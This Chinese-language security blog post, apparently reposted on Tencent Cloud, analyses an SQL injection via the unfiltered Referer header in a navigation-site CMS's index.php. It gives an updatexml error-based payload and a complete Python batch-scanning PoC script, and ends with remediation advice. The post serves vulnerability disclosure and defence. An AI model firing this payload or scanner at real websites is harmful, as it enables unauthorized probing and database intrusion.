首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

知名导航网址SQL注入漏洞复现及poc

软件行业一直处在高速发展的阶段,各种cms层出不穷,我们随手就可在网上下载到自己需要的软件框架,然而,这些免费开源的cms,可能有着各种各样的漏洞。本文为天融信工程师发现漏洞并进行漏洞复现及脚本编写的一系列过程,现分享给各位技术咖们:

此次的漏洞是在seebug上看到的,然而经过很长时间后,它仍然只有个标题,我又觉得没必要去兑换漏洞详情和利用poc,于是我就去看了看源码,看过代码之后觉得还比较简单,所以就进行了漏洞复现以及批量化扫描脚本的编写。

一、

漏洞分析

这个漏洞存在于index.php中,是referer未进行过滤导致的SQL注入,存在问题的代码为:

此处的代码功能为,如果存在Referer,则提取referer中的域名进行多表查询,更新该域名对应的webdata表中的web_instat和web_itime字段,变量本身的内容不进入数据库更新,但是它存在SQL语句中就足够了。

变量$_SERVER[‘HTTP_REFERER’]是获取Referer的值,在判断为非空后,未进行过滤,便直接带入了SQL语句中,这就意味着用户可以任意构造恶意的SQL语句,造成SQL注入漏洞。当然,Referer,ip也一直是容易被忽略的地方,经常被忘记过滤。

二、

payload构造

知道原理,payload的构造就简单了,SQL语句是一条UPDATE语句,但是注入语句基本都是一样的,首先,闭合单引号,然后我利用updatexml()报错注入爆破出数据库版本,最后再闭合另一个单引号。构造注入语句如下:

'orupdatexml(2,concat(0x7e,(version())),0) or '

测试成功,成功爆出版本:

三、

批量扫描脚本编写

payload都编好了,利用脚本只是小意思。然而仔细看了代码,$domain = $matches[2];代码提取的是主域名,也就是http://和二级目录之间的主域名,所以为了防止有网站设置到二级目录的情况,要提取referer中的主域名构造payload,这里用到python的urllib库,代码如下:

proto, rest =urllib.splittype(url)

res, rest = urllib.splithost(rest)

第一次的结果是分割“:”两边的字符串,得到协议和//域名,第二次res的结果便是提取后的主域名了。利用urllib2库模拟访问网站,最后根据返回的XPATH syntax error字符串判断是否存在SQL注入漏洞。当然,这里仅仅是检测,不进行深入的利用(这是违法的)。我利用部门的扫描框架,所以直接写了一个漏洞利用脚本,完整的脚本如下:

import urllib2

import urllib

class Pocscan(object):

def __init__(self,target):

self.result = {

"ctype": "sqli",

"status":False,

"info":"",

"target":target,

"payload":'yk365_refer_sqli.py',

}

def verify(self):

proto, rest = urllib.splittype(self.result['target'])

res, rest = urllib.splithost(rest)

headers = {

"User-Agent":'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101Firefox/53.0',

"Referer":proto+"://"+res+"'or updatexml(2,concat(0x7e,(version())),0) or'",

}

target = self.result['target']

vul_url = target+'/index.php'

try:

req =urllib2.Request(vul_url,headers=headers)

response =urllib2.urlopen(req,timeout=10)

text = response.read()

if r'XPATH syntax error' intext:

self.result['status'] =True

self.result['info'] = ''

except Exception,e:

self.result['info'] = e

return self.result

最后会根据self.result返回信息。

四、

总结

修复该漏洞很简单,过滤引号等特殊字符、select等关键字,使用预编译语句进行sql查询,基本上就可以避免大部分攻击了。

其实SQL注入出现很长时间了,然而现在SQL注入仍然存在于很多网站中。这不能把锅全部扔给某个特定的团体,但也希望在某些不能完全过滤关键字和特殊字符的情况下,功防技术能够一直成长,在信息安全越来越成熟的将来,我们能有一个更安全的网络环境。

热点推荐

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180116B0HYFR00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券